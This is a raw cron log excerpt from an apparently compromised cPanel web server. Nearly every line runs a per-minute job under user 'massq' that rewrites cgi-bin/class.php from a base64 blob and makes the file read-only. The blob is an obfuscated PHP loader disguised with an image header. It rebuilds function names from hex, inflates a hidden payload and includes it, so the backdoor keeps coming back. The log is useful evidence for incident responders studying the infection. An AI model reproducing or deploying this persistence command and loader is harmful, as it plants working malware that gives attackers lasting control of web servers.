Nov  9 10:51:01 server CROND[1186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:52:01 server CROND[1996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:53:01 server CROND[2815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:54:01 server CROND[3629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:55:01 server CROND[4432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:55:01 server CROND[4433]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:55:01 server CROND[4434]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:56:01 server CROND[5382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:57:01 server CROND[6212]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 10:57:01 server CROND[6213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:58:01 server CROND[7033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:59:01 server CROND[7848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:00:01 server CROND[8726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:00:01 server CROND[8734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:00:01 server CROND[8736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:00:01 server CROND[8740]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 11:01:01 server CROND[9794]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 11:01:01 server CROND[9795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:01:01 server run-parts(/etc/cron.hourly)[9794]: starting 0anacron
Nov  9 11:01:01 server run-parts(/etc/cron.hourly)[9807]: finished 0anacron
Nov  9 11:02:01 server CROND[10394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:03:01 server CROND[11181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
